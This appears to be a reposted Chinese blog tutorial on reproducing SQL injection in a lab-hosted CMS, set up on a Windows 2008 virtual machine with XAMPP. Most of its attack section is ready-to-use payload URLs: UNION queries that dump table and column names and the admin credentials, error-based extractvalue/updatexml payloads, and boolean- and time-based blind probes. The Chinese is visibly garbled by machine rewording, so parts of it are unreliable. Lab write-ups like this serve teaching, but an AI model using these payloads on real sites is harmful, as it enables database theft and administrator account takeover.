首页 » 网站推广 » phpunionall技巧_渗透测试实战技能分享CMS 注入获得治理员账密

phpunionall技巧_渗透测试实战技能分享CMS 注入获得治理员账密

访客 2024-11-09 0

扫一扫用手机浏览

文章目录 [+]

利用此漏洞能够看到数据库所有表数据,如用户数据表可获取用户名、密码、邮箱等数据,进而通过获取到的邮箱与密码,可碰撞上岸邮箱获取互换邮件等。

环境解释

phpunionall技巧_渗透测试实战技能分享CMS 注入获得治理员账密

干系工具

复现过程:

第一步:搭建实验环境。

phpunionall技巧_渗透测试实战技能分享CMS 注入获得治理员账密
(图片来自网络侵删)

1、准备一台windows2008虚拟机,并将其设置为桥接状态,并查看ip地址。

我所实验的内网网段为10.10.20.0/24

2、将我们的xampp工具复制到08虚拟机中,并且双击安装。

安装过程一贯点击next即可,详细操作可以查看视频步骤,安装完成后点击finish。

措辞直接点save即可。

3、涌现如下界面,须要做点优化。

点击最左侧service下方的前两个X号,涌现提示,点击yes,之后图标修正为√号。

之后点击中间的Actions那一列下的Apache和MySQL按钮,启动做事,然后关闭。

4、用真实机的浏览器,访问2008虚拟机的ip地址,涌现以下界面,则解释xampp安装成功,并且已经开启了apache做事

打开windows2008虚拟机的C盘,将多余的文件删除即可。

然后进入到xampp文件夹,找到htdocs文件夹点击进入,在里面新建一个文件夹取名为bak,并且将htdocs原有的文件拖到bak文件夹中。

在真实机中的浏览器中刷新页面,涌现Object not found!
将/dashboard/去掉,便在根目录下有一个bak的文件夹

5、打开C盘根目录下的xampp文件夹,找到名为mysql的文件夹,进入文件夹后,有一个名为bin的文件夹,双击进入,将文件的后缀名显示出来可以看到都是.exe的文件

将此文件夹所在的路径复制下来即:C:\xampp\mysql\bin

6、修正环境变量,使mysql命令可以在cmd的命令中运行。

详细操作为:

右键打算机à属性à高等系统设置à环境变量à找到下方的系统变量Pathà选定后,点击编辑à点击右箭头,在末了添加;+刚才复制的路径。
如:(; C:\xampp\mysql\bin)

修正完环境变量后,重启cmd命令,之后输入mysql -uroot。
如果涌现如下界面,解释环境变量修正成功。
就可以输入数据库的命令利用。

7、将准备好的cms压缩包,复制到windows2008的C盘下的htdocs目录下。

先将压缩包中的第一个文件夹复制过去,然后打开cms文件夹,再将剩下的两个文件复制到cms文件夹下。

8、将install.sql导入到数据库中。

show databases; 查看都有哪些数据库

create database cms; 创建一个名为cms的数据库

use cms; 利用cms数据库

source C:\\xampp\\htdocs\\cms\\install.sql; 将install.sql文件导入到数据库

show tables; 查看cms数据库中的表名

此时,我们刷新真实机的浏览器的页面,在bak文件夹下面有个cms文件夹,双击打开看到一个文章管理系统界面,解释我们的实验环境搭建完成了。

第二步:用SQL注入的4中注入手腕进行漏洞验证,终极目的能获取管理员的账号密码,并且能成功上岸管理员后台。

1、 联合查询

http://10.10.20.60/cms/show.php?id=33’ 涌现报错

http://10.10.20.60/cms/show.php?id=33 and 1=1 页面正常显示

http://10.10.20.60/cms/show.php?id=33 and 1=2 页面不正常显示

解释该网站存在SQL注入漏洞。

http://10.10.20.60/cms/show.php?id=33 order by 15 页面正常显示

http://10.10.20.60/cms/show.php?id=33 order by 16 页面报错

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

创造页面有回显:3和11

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15 爆数据库名和查看数据库版本

http://10.10.20.60/cms/show.php?id=-33

+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat (table_name)),12,13,14,15 from information_schema.tables where table_schema=database() 爆数据库中的所有表名,涌现一段数字,复制下来进行解码

新建一个窗口,中间位置有个0xHEX,点击左边的箭头为解码,将数字复制到解码栏中。

然后,在空缺界面涌现解码后的数据库中的所有表名。

cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

爆表名为cms_users中的所有字段名。

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

同样涌现一串数字,步骤和上一步一样,进行复制解码。

得到字段名:

userid,username,password

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users 脱库

到此,我们得到了用户名为admin,密码利用的为MD5加密值,我们百度搜索MD5在线解密即可。

至此,我们得到用户名:admin,密码:123456

考试测验登录后台管理账户,看是否能登录成功

成功登录到了后台管理账户。

2、 报错注入;

http://10.10.20.60/cms/show.php?id=33’

当我们添加一个’时,会有报错提示,此时我们可以考虑报错注入。

公式:(去世记住就可)

(1) http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(想要实行的SQL语句),'^'))

(2) http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(想要实行的SQL语句),'^'),1)

http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select database()),'^'))

http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select version()),'^'))

http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select version()),'^'),1)

http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select database()),'^'),1)

3、 布尔盲注;

通过SQL语句验证数据库的名字长度为几位,多考试测验,最长26位

http://10.10.20.60/cms/show.php?id=33 and length(database())>3 页面不正常显示

http://10.10.20.60/cms/show.php?id=33 and length(database())=3 页面正常显示

http://10.10.20.60/cms/show.php?id=33 and length(database())<3 页面不正常显示

由此我们可以确定数据库的名字位数位3位。

下面我们根据ascii码表,来爆破数据库名的第一个单词

http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))<99 页面不正常显示

http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))=99 页面正常显示

http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))>99 页面不正常显示

即是99时,页面正常,解释数据库的第一字母的ascii码值为99

通过查看ascii码表,可以看到99对应的为小写字母c

依此类推,利用这种方法即可爆出数据库名,但事情量较大,建议写个python脚本跑一下,可以提高效率。

4、 韶光盲注;

http://10.10.20.60/cms/show.php?id=33 and sleep(5)

使浏览器沉睡5s,在实行命令

可以看到上方浏览器在转了5s之后,才实行完成,通过F12,网络韶光线可以看到为5s旁边。

http://10.10.20.60/cms/show.php?id=33 and if(length(database())=3,sleep(5),0)

当数据库的名字长度为3位时,浏览器沉睡5s在实行命令。

数据库的名字长度不为3位数时,浏览器直接实行命令。

在确定了数据库的名字位数后,下一步,我们和布尔盲注确定数据库第一位字母的思路相同。

http://10.10.20.60/cms/show.php?id=33 and if(ord(substr(database(),1,1))=99,sleep(5),0)

(当数据库的第一个字母的ascii码值为99的时候,浏览器沉睡5s在实行命令;否则,浏览器将直接实行命令)

当数据库第一个字母的ascii码值不是99时,为以下情形:

由此,我们可以确定,数据库名字的第一个字母的ascii码值为99,通过上网查询ascii码对照表,我们知道了acsii码为99的对应的为小写字母c。

依此类推,我们用相同的办法得到数据库的第二位字母、第三位字母…

到此,我们对此网站进行的SQL注入四大手腕的漏洞复现过程基本完成。

注:

以上实验环境及实验过程,在实现漏洞复现的过程中没有创造任何问题,如依据本文档内容进行复现过程中创造任何问题,请自行检讨自己的实验环境及实验步骤是否涌现问题!


标签:

相关文章

今日头条算法引领个化信息时代的变革

信息爆炸时代已经到来。每个人都是信息的接收者和传播者。面对海量的信息,人们往往感到无所适从。为了解决这一问题,各大互联网公司纷纷推...

网站推广 2025-01-31 阅读1 评论0

今日头条算法信息推荐的秘密武器

信息爆炸的时代已经来临。人们每天都会接触到大量的信息,而如何从这些信息中筛选出有价值的内容,成为了亟待解决的问题。今日头条算法作为...

网站推广 2025-01-31 阅读1 评论0

今日头条算法精准推荐背后的技术奥秘

信息爆炸的时代已经来临。我们每天都要面对海量的信息,如何从这些信息中筛选出自己感兴趣的内容,成为了每个人都关心的问题。今日头条作为...

网站推广 2025-01-31 阅读1 评论0